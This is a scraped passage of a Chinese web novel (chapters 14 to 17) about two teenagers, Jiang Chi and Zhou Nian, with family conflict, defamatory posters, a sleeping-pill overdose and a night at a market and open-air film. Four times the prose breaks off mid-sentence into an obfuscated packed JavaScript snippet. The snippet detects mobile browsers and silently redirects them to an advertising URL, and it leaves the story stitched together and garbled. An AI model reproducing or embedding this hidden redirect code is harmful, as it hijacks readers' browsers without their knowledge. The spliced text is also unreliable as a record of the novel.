“别呀,我这儿有蛋黄流心的特别好吃,我带过来给你尝尝?” “不用。” “真的很好吃,还挺贵的。” 对面絮絮叨叨,江池的呼吸加重显然是不耐烦了。 “那五仁的呢?不过我觉得五仁的没蛋黄的好吃,如果你喜欢吃五仁的我就给你带点五仁的来。” “挂了。” “别……” 大脑放空了一小会儿,江池点开短信,最后一条信息是昨晚发来的。 【小池,明天跟妈妈一起过节吗?】 他没回复。 出神片刻,他点开微信里面有徐明和赵樾发来的信息,问他网吧去不去。 他依旧不回。 以往这个时间都是跟赵樾那群人吃喝玩乐,今天这种日子除外。虽然他们也会好心提议聚聚,但总是避免不了一些话题。 譬如,今天我妈烧了什么。 譬如,我爸又唠叨了什么。 即使是抱怨也掺杂着合家欢的成分。 这是江池没有的。 饥肠辘辘,觉是睡不成了,干脆起床弄点吃的。 房子空荡荡,走在楼梯上会有微弱的回音。同样空荡荡的还有冰箱,冰箱常年不断电,里面却什么都没有。也不全没有,他打开冷藏室的抽屉,底下有一盒不成形的水饺。 是那天他亲手扔掉的那盒。 他看了眼橱柜里仅剩的一包泡面,再回头看了一眼水饺。决定把水饺处理了。 江池漫无目的地游荡在街头,不知不觉间,脚步不听使唤地来到傅研房子附近的小巷。 他鬼使神差地抬起头。 幽蓝的天色衬着,今晚的月光格外皎洁。 江池望向那栋小矮楼,那间屋子是暗着的。 也好,起码她不是一个人过。 他又往前走了一段,穿过巷子,走过小道,来到破旧矮楼前。傅研搬来这里以后他也来过几次,但仅仅只是来过,并没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107895|163973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进门。有时候会在楼下看一会儿屋子里的灯,有时候会在屋外坐一会儿。这些,傅研都是不知道的。 他站在花坛边,拎起装有饺子的塑料袋在自己面前晃了晃,自言自语道:“开饭了。” 饺子还是那么寡淡无味,说不上哪里好吃就是挺好吃的。江池抬头望一眼昏暗的房间,低头吃一口饺子,就这样三两下把一袋子饺子吃下肚。 原本他打算和傅妍‘过个中秋’就打道回府,可偏偏又鬼使神差地走进了小楼。楼道很黑,从外面望进去就是个阴森森的黑洞。 他记得,楼道的灯是声控的。于是,他跺了下脚。一楼到五楼的楼道灯依次亮起。 老破小的楼道都会被贴满广告,这里也不例外。 江池起先没在意,走了两层发现不对劲。 这栋楼从上到下都贴着同样的纸。纸上的人不是别人而是傅研,照片下面配着不堪入目的词汇,贱/货,烂/人,婊/子,小/三。这上面的每一个字都像是一根尖锐而细长的针,猝不及防地扎进他眼里。 江池发疯似地将墙上的纸撕碎,他撕得很快,一层一层,一面一面,一张都不放过。 有脚步声从楼上下来,一个年轻男人好奇地伫足,看了眼江池又看了眼纸。 来不及看全,迎来的是一道凛冽的眼神。 “滚!” 男人一个哆嗦,骂骂咧咧地走了。 * 一周后。 晚八点的老破小灯火通明,傅研房间传出的微光不断闪动,看样子是在看电视。 江池瞥了眼她的房间,随即看向边上的保安亭。他踱步到亭边,朝里面的光头保安客套地笑了笑。 “叔,回来了?” 这声叔喊得保安一头雾水,心想这人看着面生,怎么叫的那么亲近。不过前些日子他确实回老家不在这儿,既然他都那么喊了,横竖自己占便宜,就顺着他意思回了句:“是啊,回来了。” “是这样,上周我的一块表找不到了。那表也不值几个钱就是挺有纪念意义的,所以我想看看楼道的监控,是不是家里进贼了。” “看监控啊,这个是要物业的领导批准的。” 保安面露为难:“这个……” 料想会是这样,所幸有备而来。江池把装有香烟的塑料袋撑开,等保安看清后递过去。 “只看一眼,你不说我不说,谁会知道。” 一个老破小的中年保安平日里哪儿舍得抽那么好的烟,只见他四下一望,确定没人后接过袋子迅速扔在不起眼的角落。 “那你跟我来吧。” 监控室在二楼,屏幕边上放着两张床方便保安休息。中年保安态度好的没话说。 “小伙子,你要哪天的监控?” “中秋那天。” “好,你等等,我给你调。” 江池眉间皱起,死死盯着屏幕,画面加速播放,里面的人来去匆忙,一整个白天都没有什么可疑人出现。 直到张宁的身影进入画面。 “这儿,停。” 语气瞬间从和善变成冷厉。 保安很配合,切成一比一的播放速度,画面里的人从包里拿出纸,不厌其烦一遍一遍地贴满整面墙。 不是说想看贼吗?怎么停下来看人贴广告。 保安好奇,刚想开口问就瞥见江池紧握的拳头,于是想问的话默默吞进肚子。 从监控室出来,江池的表情始终很难看,他没在原地停留,回望那扇窗后去了打印店。 打印店兼职拍证件照,大晚上居然还有人排队,老板忙的不可开交,他就在站在门口安静的等。 滑动手机点入相册,拉至最底端。 他打开照片一张张翻看,几张照片来自同一个人——周念。 其中有两张是周念的溺水照。 左手翻动照片,右手却在口袋里死死拽紧那天从墙上撕下来的纸。那一张充满污言秽语,诋毁傅研的纸。 一波客人走后,老板注意到了他,探出头问:“小伙子,照相还是打印。” “洗照片。” “可以u盘还是邮箱,手机里的话可以加我微信。” “微信,我发你。” “行。” 加完微信,江池发了几张周念日常照片,手指在两张溺水照上顿了顿。 老板抬头:“就这些,还有吗?” 沉默片刻,江池微不可查地叹了声。 “算了,就这些。” 15. 第 15 章 饭桌上的气氛很微妙,张宁难得没有开口问成绩,寥寥几句的闲谈也只是问最近吃了什么,睡得好不好。周念不习惯却很享受,享受跟张宁一起没有压力的时光。 张宁给周念夹了个翅根,嘱咐她多吃饭。 “明天想吃什么,我给你做。” 周念很仔细地想了想说:“螃蟹。” 螃蟹这种费时费力又不见多少肉的菜几乎上不了周念家饭桌。很小的时候她提过一次,当即就被张宁否决了。之后她很识趣再没提出过想吃。 不知怎的,今天张宁问起,周念第一时间就想起了螃蟹。 张宁:“行,明天我去菜市场看看。” 周念满足地笑了笑,饭碗见底时发现张宁几乎没有动筷。十几分钟的时候里,她无声地叹了几次气,也欲言又止过几次。 “念念,最近有没有陌生人跟踪你?” “嗯?” “妈妈的意思是,有没有什么人接近你。” “没有。” 周念答得干脆,张宁双肩一耷,松了口气。 “怎么突然这么问?” “没什么,随口问问。” “最近竞赛课程上的怎么样。” “挺好的。” ** 周念坐在桌前盯着vc罐头里的白色药丸发愣,明天是周日不需要早起,今晚就不用刻意准点睡觉。她把捏在手里的药丸扔回罐头,心下默念:能省则省。 晚上照例是巩固基础,课本几乎被她翻烂了,但她仍有耐心不厌其烦的翻看。笔记本,课外书,试卷,纠错本,每一本每一页都有她努力的痕迹。 晚上十二点,周念毫无睡意,人一旦开始无聊,时间就会被无限延长。为了不让自己吃药入睡,她干脆换了衣服出门。 她没走远,就在弄堂里散步,月光很盛,可见范围不再拘泥于几盏路灯之下。走到一个角落时,她停了下来,对着深处轻轻唤道。 “小灰?咪咪?” 她口中的小灰和咪咪是同一只猫,因为当初投食时不确定那猫适应哪个名字,于是她干脆两个都叫上。 没一会儿,一只半大不小的野猫就从暗处走进光里。 “喵!~” 周念掰了半根肠子扔给它,剩下半根自己咬。那猫是个护食的,叼起肠子转了个身,撅着个屁股给周念。 周念笑它:“没良心的东西。” 那猫像似听懂了,回了个喵似乎在说‘知道就行’。 周念在外面转悠了半个多小时,回到家时,二楼张宁卧室的灯还亮着。她轻手轻脚地合上门,要是被发现偷摸着出门,没准又是一顿劈头盖脸的责骂。她无奈的想,这个家就是有这种魔力,一种浑然天成的压迫感。 楼下能清楚地听到楼上的走动声,从声音可以判断,张宁好像很焦躁。 周念重新换上睡衣,走到张宁卧室门前,扣了扣门。门被打开,探出张宁半个身子,她眼窝凹陷,眼白里分布肉眼可见的红血丝。 “妈,你不舒服吗?脸色怎么那么难看?” “没不舒服,就是有点睡不着。” “没吃药吗?小姑说实在睡不着可以适当的多加半片。” “加了,就是睡不着。” 周念总觉得她今天有点不对劲。 “你是不是有什么心事?” 张宁不耐烦地把人往外推。 “我能有什么心事,我的心事就是你的学习,你考上首府大学就是我最大的心事。好了好了,快去睡吧,明天早起看书。” 张宁失眠严重,吃了药也睡不着的情况也不是没有过,单单这次周念心里不太踏实。她躺在床上辗转难眠,竖着耳朵听隔壁的动静,夏夜有虫鸣,不知道是不是外头声音太吵,隔壁直接没声了。 她深深地吸口气直接从床上爬了起来。卧室门被反复扣了三下,周念轻轻的喊道。 “妈?你睡了吗?” 半晌,里头没声音。 睡着了?前一秒还在说失眠,后一秒就睡着了?除非...她又加药了。周念不甘心地敲了几次门,叫唤声也越来越大。直觉告诉她,张宁肯定是加药了,而且剂量不小。 好在门没上锁。张宁睡姿平躺,看着没什么异样。但周念开门那么大的动静都没能把床上的人叫醒,周念拿起床头柜的药瓶,安定已经见底,如果按正常剂量服用根本用不了那么多。 她用力推了把张宁。 “妈,你醒醒。” “妈?” 周宏姗在手术室外来回踱步,走到焦躁时忍不住叹气。她低头看了眼边上静坐的周念安慰说:“你发现的早,不会有事的。” 周念“嗯”了声,没言语。 周念有个习惯,紧张的时候会不自觉地搓手,很轻柔很缓慢,外人看了像是个下意识的动作。但周宏姗知道她是害怕了。 “别怕,洗个胃而已不动刀子,别担心。” 周念又‘嗯’了声,没有下文。 周宏伟赶到的时候张宁已经移送至普通病房,整个抢救过程他没有经历。来时风尘仆仆,周念以为他至少会询问一下情况,没想到他第一句是。 “这么大个人了,安眠药吃不明白。” 所幸张宁当时已经睡着了,听不见伤人的话。 周念抿了抿嘴,把张宁的被子掖好后转头问他:“爸,你从哪儿来啊?” 周宏伟眼神看下他处:“你爸还能在哪儿,教育局。” “教育局最近事多吗?需要加班那么晚?” “最近不是上头有领导要来,大家在讨论怎么招待显得重视又不铺张。你也知道银城是小地方,领导难得来一趟,怎么也得拿出百分百的诚意来。” 说完他又笑了笑,补上一句。 “跟你说这些干嘛,你也不懂。” 张宁需要住院观察两天,周念提议留下来陪护,被张宁拒绝了,原话是‘你敢不去学校,信不信我再吃一遍给你看看?’周念不敢不从,只能拖周宏姗帮忙照顾。 回到家,周念照常看书,从晚上八点看到凌晨十二点,她习惯这种自虐式的学习,因为只有这样她才能短暂的脱离现实生活,只一门心思的投入到别处。 到点后她又习惯性地去摸白药罐,触摸到罐子的那一瞬她似乎想到什么,起身去了张宁房间。 房间保持着昨晚离开时的状态,周宏伟没有回来过。周念在床头伫立片刻开始翻找东西,床头柜里是一些药品和日用品,柜子和抽屉也没什么特别的东西。 周念始终觉得张宁昨晚种种太过反常。而这一些列反常表现肯定是有原因的。是什么呢?是周宏伟吗? 房间一切都翻了个遍,没有任何异常,就当她快要放弃时,转头瞥见那只挂在衣架上的包,包没拉拉链,露出纸张的一角。她把几张纸从包里取出。意外的是,纸上都是她的日常照片,在吃饭,在看书,看游泳。 其中一张的反面写有一行字:别再骚扰傅妍,不然,我不介意毁掉周念。 周念凝视着这行字,胸口缓慢起伏一阵。最后,把纸张原模原样的放回包里。 之后几天,江池去傅妍住所去得越来越频繁,总是在傅妍不常出没的时间出现,偶尔看看楼道里有没有出现新的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107896|163973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸张,偶尔会在傅妍的门口停留片刻。总之是怕张宁再来挑事。 这天,他又围着小矮楼溜达了一圈,在长椅上解决了剩下的饺子,吃饱喝足无所事事,只能用手机消磨时间。他打开手机,点开微信,打开和周念的聊天,上一条信息还停留在两个礼拜前。 江池盯着屏幕发了会儿呆,然后退出聊天界面,又沉默半晌把记录删除。 “小池,是你吗?” 江池身型一顿,余光中有个身影正往他这儿走来,他低下头身体半侧准备离开。见他要走,傅妍把手里的垃圾袋往地上一扔,追了过来。 “小池。” 江池置若罔闻,加快脚步。高跟鞋哪里追得上球鞋,傅妍没追几步路,脚下一空,整个人摔倒在地。 她吃痛得“嘶”了声,这才让前面那人停下脚步。但江池仍背对着她,不敢回头。在他心里对傅妍的亲近无疑是对父亲的背叛,所以他时常提醒自己,江池没了父亲同时也没了母亲。 傅妍确定那就是江池,她笑了起来,边揉捏脚踝边问:“你是来找我的吗?” 江池不予。 “要不要去我那里坐坐?” 见他没反应,她又不安道:“是不是发生什么事了?” 借着路灯,她把他从头到尾仔仔细细得打量了一遍,确定无伤无病后松了口气。 “小池,你是不是遇到不开心的事了?” 江池原地默了几秒,走了。 傅妍见状不顾扭伤的脚踝,一个挺身,站起来就要追。刚走一步,脚一软又摔了下去。 “小池!” 江池紧了紧拳,半道停下,终究还是心软,折返回来。他走到傅妍身边,低头看她。她摔得不轻,膝盖擦破了皮,脚踝直接肿了起来。 他半蹲下来把傅妍扶到一旁的马路牙子上,把她高跟鞋从脚上取下,用手扭了扭她的脚踝。 “扭伤了,去医院。” 傅妍记得上一次和江池说话还是两年前,那会儿他打架学校找家长,他说父母都没了,结果隔天自己就出现在了办公室,为此两个人吵了起来。没想到,再次对话居然隔了两年之久。 看着自己的宝贝儿子,傅妍的嘴角忍不住扬起来:“没事儿的,养两天就好了。” 江池把她的脚轻轻放在平地说:“随你。” 傅妍:“你要走了吗?” 江池本意是少开口,但还是鬼使神差地点了头。 “嗯。” 傅妍:“可是......我这儿没有熟人,你看我的脚这样了,总不能让我一个人呆这儿吧。” 她小心翼翼地试探着:“要不......你送我到楼上?” 江池站在原地,左右看了看,夜深了,路上连个鬼影都没有。他无奈地叹出口气,半蹲下身说。 “上来吧。” 两人上楼后,傅妍让江池进去坐坐,江池拒绝。傅妍开了灯,一瘸一拐地往屋里走,又一瘸一拐地走回来,回来时手里多了杯水。 “小池,喝点水吧。” 她说:“家里什么都没有,下次来过来,妈妈给你买点零食备着。” 江池眉头一蹙,语气凉凉地:“不会再来了。” “那喝点水。” 她不强求,把水再次递了过来,伸手时手臂从袖口袒露,与此同时,一道细长的血痕暴露在空气中。那口子细长一条,从衣袖深处绵延到臂弯,像是指甲的划痕。 江池瞥了眼,不带情绪的开口:“谁干的?” 傅妍下意识地把衣袖往下扯笑说。 “画笔划得,不碍事。” 16. 第 16 章 江池在银江边抽了会儿烟,给周念发了信息。 ——明晚,有没有空。 收到信息时周念正在复习物理,她瞥了眼手机,看到是江池的信息,笔尖不可控地划出书页。没一会儿,视线回到习题上。一套题做完,这些天累积的疲乏变本加厉的涌上来,她把手机按下静音倒扣在桌面上,从书架上捞了一本读物随意翻了几页后选择了睡觉。 一觉睡醒,感觉整个人像被渡了仙气瞬间活了过来。她先给周宏姗发信息,询问张宁昨晚的状况,然后才点开江池的信息。 单单一条:明晚,有没有空。 她回:有事? 江池是中午回得信息。 ——有没有空。 周念望了眼窗外的太阳,毒辣刺眼。江池应该不会乖到午休时间才看手机,没猜错的话他刚起床。 她说:几点。 江池:你几点有空。 周念:晚自习以后 江池:那就九点,我在学校门口等你。 周念还是不甘心的问了句:有事吗? 江池:你欠我一顿饭。 九点整,江池给周念发了信息。 ——我到了。 白天银城淅淅沥沥掉过一阵子雨,晚上月亮没有露头,外头要比以往暗得多。周念在校门口扫视一遍,并没有看到江池,就在她打算给他发信息时。注意到对面马路的大树下有个红色烟星。 烟星的位置很高,符合江池衔烟的高度。 她朝那头走去。 见她正面走来,江池把烟掐了顺手扔进一旁垃圾桶。 周念问:“刚到吗?” 江池:“嗯。” 周念:“想吃了什么。” 江池偏头看向远处:“跟我来。” 周念跟着江池走了一路,腿脚开始放缓,又问:“你想吃什么?” 江池没回头看她,漫不经心道:“跟着就知道了。” 几分钟后,少年的身影拐进一个逼仄小巷,周念在巷口顿了顿,小巷暗无天光,那抹剪影越走越远,渐渐模糊。她默默沉了口气,拳头一握紧跟上去。 “这里有店?” “怕了?” “……” “怕了可以送你回家。” 周念有理由相信这纯粹是他的激将法。 不多时,江池走到一处卷闸门前,原地停下偏头说:“你等等。” 周念点头,自觉地后退两步。 暗中有钥匙搅动门锁的声音,‘啪’地一声,银色卷砸门缓缓上行,快到顶时戛然而止,与此同时一股难以言喻的机油味扑鼻而来。 江池身穿黑衣黑裤,身体往前一倾就像被巨大的黑洞吞没瞬间融入暗色。周念站在一旁不动声色地探了眼门内景象,可惜,里面实在太黑。 她暗自琢磨,这里应该不是吃饭的地方。 白光乍现,周念被这突如其来的灯光晃了下眼,倏地蹙起了眉。等她缓了两秒,渐渐适应灯光时,江池已经推着一辆摩托出来。 他把车停在门外,回身从架子上拿了两个头盔,将其中一个扔了过来,周念稳稳接住。 “坐过吗?” “我坐过小电驴。” “……” 江池露出一副‘真不识货’的表情重新将面前的人审视一遍,无语地摇了摇头。 周念:“……” 江池带上头盔,冲对面抬了抬下巴。 “上来。” 周念掂着头盔的重量,没立刻上车,略带迟疑后再次问道。 “去哪儿?” 那声轻嗤隔着厚重的塑料钢层而显得浑厚。 “你要是怕的话现在回家还来得及。” 她依旧没上车,垂着眼,手指在头盔的外沿轻轻摩挲。 看模样是真的在犹豫。 在她开口前,江池先松了口:“去小泉镇,那里有夜市,要是幸运还能看到露天电影。” 或许是怕她真不去,语气低顺不少。 “去吗?” 确认地点,她终于抬起头,直视着那双因被头盔围住而越显深邃的眼睛。 “小泉镇有点远。” “三十分钟。” 她沉默。 “我保证。” “行。” 摩托车驰骋在无人的沿海公路上,车身驶过一滩滩雨止后留下的积水,两行的路灯似白色游魂一个个擦肩而去,海潮和风混在一起在耳边嘶吼,分不清谁更喧闹。 车速不快,周念分出闲心眺望远处的海,这个点是渔船回港的时间。码头人群熙攘,有声音传到这头。 江池看着后视镜里的人想起昨晚傅妍慌张的神色和那条暗红的划痕。也想起楼道里那一个个恶毒诛心的字眼。想到这,郁气蓦然堵住胸口,就像一只无形的手死死拽住他的脖子。 车子驶入隧道,周念收回视线。 这时,前头突然传来声音。 “抓稳了!” 话音未落,引擎骤响,车子陡然加速。 周念始料未及,身体猛的往后一仰,原本无处安放的手倏地抓住江池的衣角。 惊魂未定,又是一阵猛然加速。 某个瞬间,周念觉得自己就像是抛掷高空的玩物,被一股不可名状的失重感重重包围,无力而绝望得任人摆布。 就在她重心不稳跌落趋势愈演愈烈时,腰背被一股蛮力狠狠一推,将她这个人往前一带,侧脸重重摔在江池后背。 后视镜将周念的狼狈紧张悉数照尽,江池看着镜子里的她,沉默,那些他要的所谓的泄愤的快感呢?没有,没有快感,什么都没有。 有那么一秒,他觉得自己幼稚至极。 车子快速穿过隧道,两旁的灌木如极影般逆向而去。高速飞驰了三十分钟后到达目的地。 江池把车开到一棵树旁准备下车,而身后的人却迟迟没有动静。余光瞄了眼后视镜,她是低着头的,整张脸被自己的肩膀遮挡,勉强能看到半个帽檐。 他冲着后视镜催促:“到了,下车吧。” 无人回应。 见她无动于衷,江池重复了遍。 “到了。” 又是一阵沉默,江池侧过身刚好瞟到她微颤的肩。 “……” 心间忽而窜出一种‘玩笑开大了’的罪恶感。 他一时哑然,有点无措。 “吓到了?” 沉默。 “嗯?” 依旧沉默。 江池无声地叹了口气自行下车,把车放稳才得空去看周念。 对方垂着脑袋,双拳紧握衣角。 他微微低下头,尝试着与她对视。 “说话?” 这时,周念猛然抬头。 一张煞白的脸撞进眼底,还没等他有所反应,周念纵身一跃跳下车,小跑到边上的水沟旁,蹲下身开始不断作呕。 看着她瘦弱而狼狈的背影,他深深吸气,暗骂自己。 江池,你真行。 干呕过后,周念觉得胃疼,九月的余温和蝉鸣扰得她头疼。她捂住肚子蹲在原地,小憩半晌视线才从面前这条臭水沟放眼到远处。眼前全是农田,脚下是石子路,两旁是高耸水杉,身后隐隐约约传来人语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107897|163973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闲谈。 凌乱的五感混在一起让她产生一种在做梦的错觉。 如果这是个梦,也是个噩梦。 江池在边上小摊买了瓶水,缓步走到周念身边,期间犹豫着是否应该道歉。可刚止步,喉口那句‘对不起’就怎么也吐不出了。 或是因为那点可怜的自尊心。 也或许是对张宁所作所为的憎恶。 末了,他干脆拿‘报复心’来搪塞自己。 是她自己愿意跟来的。 他把水递过去,以为对方会拒绝或抱怨几句借机发泄不满。可她没有,欣然接过,平静地喝了几口水后像什么事都没发生过似的站起来,甚至连看他的眼神都和来之前无二。 怎么会有人能心平气和到这种程度,温顺的像只没有脾气的兔子。 还是这人单纯到根本没发现刚刚的提速是故意的。江池不着痕迹地轻哼了声,大约是在笑自己心中那些多余的挣扎。 小泉镇,镇如其名,镇上大大小小分布了几百个温泉泉眼。几十个小摊汇成一条夜市。九点的夜市街,人潮如织,来来往往的都是活力青年。 江池对小摊上清一色的义务小商品不感冒,自顾自往前行进,几分钟后身边的人依旧落在后头。他有意识的往回看,隔着人群,看见周念脸色苍白,半垂着眸神色恍惚。 周念还在恍神,突然被人拽着手腕往前走。 她不明所以地抬起头:“去哪儿?” 江池头也不回:“吃饭。” 两人停在行进路上碰到的第一家吃食小摊前,小摊主营水饺。周念抬头瞄了眼招牌上少得可怜的选择,不确定的询问道:“你想吃这个?” 江池用脚抽出桌底下的塑料小凳只说:“坐下再说。” 等她坐下,江池自觉转换身份变成那个询问的人。 “想吃什么?” “我不饿。” “喝点什么吗?” 她摇了摇手中的矿泉水,示意也不用。 江池明了,走回摊前跟老板交谈几句,回来时手里只带回一瓶冰水。 周念瞥到他手中的水问:“你不是饿吗?” 江池拉开凳子,就坐。 “突然不饿了。” 两人在小摊旁干坐了会儿,周念苍白的脸渐有血色,整个人不像刚刚那么萎靡了。 江池:“好点了吗?” 周念忽然明白他坐在这儿的用意。 嘴角抿平:“好多了。” “走吧,去看看有没有露天电影。” “嗯。” 小泉镇的露天电影场是开放式的,外周几层石阶中间是凹陷的平地,平地上架着简易幕布,前面是台老式投影仪。 他们到时电影已经开播了,屏幕下方跳出中文字幕:《怦然心动》。 由于是外文,又是讲述懵懂的青春,所以石阶上基本都是成双成对的小青年。 前排位置被占满,只有最后一排还剩一长段空位。 没得挑,江池走到空位前问她:“这里可以吗?” 周念:“可以。” 江池把水搁在一旁刚想坐下,周念喊着他:“等等。” 他不解:“嗯?” “有水。” 只见她慢条斯理地从小包中翻出一包卡通图案的纸巾,用纸巾轻扫了一下灰尘后将它完完整整的铺开叠放在空位上嘴里还解释说:“刚下过雨还没干。” 纸巾散着淡淡的果香,江池乐了声:“没那么讲究。” 周念铺完,先他一步坐下:“衣服湿了容易感冒。” 江池没有反驳,心说,真不至于。 17. 第 17 章 场下没几个人是真的奔着电影来的,有人交头接耳,有人借机亲热,这样的氛围下任何亲密动作都变得顺理成章。大概也只有周念目不转睛地盯着大荧幕。 江池对电影没有兴趣,更别说是这种情情爱爱的小众电影,他有点无聊,没话找话。 “你喜欢看?” 被人打断,周念转头对视:“还行。” 江池:“那你看的那么认真。” “可以练听力和口语。” “……” 江池怔了半天,突然乐了声。 荧幕上,女孩对男孩穷追不舍,大胆示爱。 周念偏头问他:“你看她像不像宋佳月?” “谁?” “‘Juli。” 他没怎么在意电影情节,听她说起便往荧幕上瞟了几眼。 当时,女孩正主动拉起男孩的手,尽管男孩显得抗拒和不自在。 他没说像或是不像,他只说:“我不喜欢这样的。” 他说完时,周念已经回过头继续看电影,神情专注,似乎并不在意他的回答。 江池无所事事,强迫自己观影,还未完全投入耳边忽而传来她平缓的语调。 “那你喜欢怎么的?” 江池目光微滞,下意识转过头,对方的视线仍在荧幕上。荧幕上是飞鸟与树,电影里纾缓的配乐萦绕在整个露天广场,周围人语窃窃。就在他以为周念只是随口问问时,她缓缓侧过身,视线不偏不倚地落进他眸中。 “那你相信一见钟情吗?” 依然是平淡如水的口吻,可那眼睛里分明是迸出星火的。 灼灼耀眼,刺得人无法直视。 江池滚了滚喉结突然低头闷笑一声,故作轻松道:“我渴了去买点水,你有什么想喝的?” 周念不着痕迹地抿了抿唇,若无其事地看起了电影。 “都可以。” 夜市街果汁摊没什么人,江池扫了眼招牌上五花八门的品类,问老板要了一杯橙汁。随后鬼使神差地问了句:“有杨梅汁吗?” 老板不不确信道:“杨梅?” “算了,两杯橙汁吧。” “好的,稍等。” 买完果汁,准备回露天广场的路上,江池被一个卖关东煮的小摊吸引,摊前围了几个女生有说有笑等待老板装盒。 印象中沈佳月她们好像也喜欢吃这玩意儿。 江池想着,左脚一跨,排起了队。 回到露天广场,烟瘾犯了,他寻了颗树,虚靠着树干站在树下点烟。说来也怪,明明是点烟可眼神却不自觉往石阶上瞟去,周念仍是坐在那里,小脑袋稍稍歪着,一动不动地盯着电影屏幕。 有那么好看吗? 渺小的背影逐渐被青烟遮盖。 江池叼着烟单手刷了会儿手机,赵樾几人在群里念叨他催他夜宵,他回复说没空。消息刚发送出去,赵樾的电话就打了过来。 江池:“有事?” 赵樾:“老薛要泡妞,借用你家别墅一天不。” 江池:“嗯,别进我房间。” 赵樾:“没问题。” 江池‘嗯’了声没再说话,赵樾转了话题。 “你大晚上去哪儿了?” 江池:“外面。” 赵樾:“外面哪儿?” 江池:“看电影。” 赵樾八卦心起:“呦,跟谁啊?” 江池耐心快要告罄:“你不认识。” “周念?” “嗯。” 他倒也不避讳,毕竟不是什么见不得人的事。 赵樾语气夸张:“哎呦我去!她肯跟你单独出来?” “……” 江池无语懒得跟他在废话,刚想挂又听对方笃定说。 “我赵樾拿头跟你保证,她对你有意思。” 江池浅浅地笑了笑,抬眸去看青烟中那道身影,可惜烟雾浓重看不清了。 “阿樾。” “嗯?” 你相信真的有人会一见钟情吗? 江池顿了顿,到底是嫌太矫情没问出口。 “没事,挂了。” “别呀,再聊聊。”赵樾舍不得挂,追问道:“那你对她有没有意思?” 江池吐了口烟,抖了抖手里的烟灰,刚想否认就听见头顶树叶婆娑,一阵凉风袭来,面前青烟消散,周念的背影重新进入眼帘。当时,路灯的黄光给周遭镀上柔光,视野里,人影在动,光影在动,树影也在动,唯独这个人像被按下了暂停键。 又是一阵风,掀起她耳边鬓发,露出那双清澈眼眸。 露天广场上响起电影独白。 “Someofusgetdippedinflat,someinsatin,someingloss.Buteveryonceinawhileyoufindsomeonewho''siridescent,andwhenyoudo,nothingwillevepare.” 我们中有些人平庸无为,有些人锦衣华服,有些人虚有其表,但偶尔你也会遇上一个光彩夺目的人,当你遇上她,一切都无与伦比。 他正看得出神,视野里的人像是有了感知毫无征兆地看了过来。视线撞上的那一秒,某人的心陡然一震,莫名的,无所适从的。 “阿池?阿池?” 赵樾把他拉回现实。 “嗯?” “问你呢,你对她有没有意思?” 江池默了秒,只说:“你少管。” 点完烟,回到座位江池把手里橙汁和关东煮递到周念跟前,周念顿了顿双手接过顺便道了声谢。 后半程,两人保持沉默一个看电影,一看刷手机。终于熬到电影结束,江池直起身活动筋骨,周念把橙汁和关东煮又递了回来。 “帮我拿一下。” 江池不明所以却也配合,然后就看到她弯着腰收拾几张皱巴巴的纸巾,她把纸巾揉成一团塞进放关东煮的塑料袋中,随后接过他手上的东西。 江池半开玩笑:“不愧是三好生。” 周念也不甘示弱:“那你多学着点。” 大概没料到她还能接茬,江池愣了半秒被逗笑。 散场时时针走过零点,夜市街只剩零星几个摊位。 “那么晚你,没人催你回家?” 江池看似无意地提了嘴,接着说:“你一个女生,你妈也不担心?” 周念:“她今晚夜班。” 江池:“哦。” 原来如此。 两人顺着马路走了一段,走到主干道一侧时,周念蓦地停下来。 “我就不坐你的车回去了。” 江池略带不解地挑了眉梢:“那么晚,打算去哪儿?” “我打车回家。” 她解释道:“你的车,我坐不习惯。” 不清楚她是真的坐不习惯还是话里有话,江池没追问,站在原地左右张望了会儿,不一会儿一辆空车驶过,他挥手示意。 等车靠近,他冲周念使了个眼神:“上车吧。” “谢谢。” 周念朝着车的方向小步迈近,走到一半突然停下,半侧身回望他。 路灯下的眼睛清澈如水洗一般,眉间却隐隐透着复杂的情绪。江池站在原地等待她开口,可她什么都没说,转身进入后座。 有种奇妙的情愫在心头发酵,像成千上万只的蚂蚁覆在上面,挠的他心痒痒。江池“啧”了声,鬼使神差地迈开步子,趁车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107898|163973||http|test|mini|href|location''.split(''|''),0,{})); () { 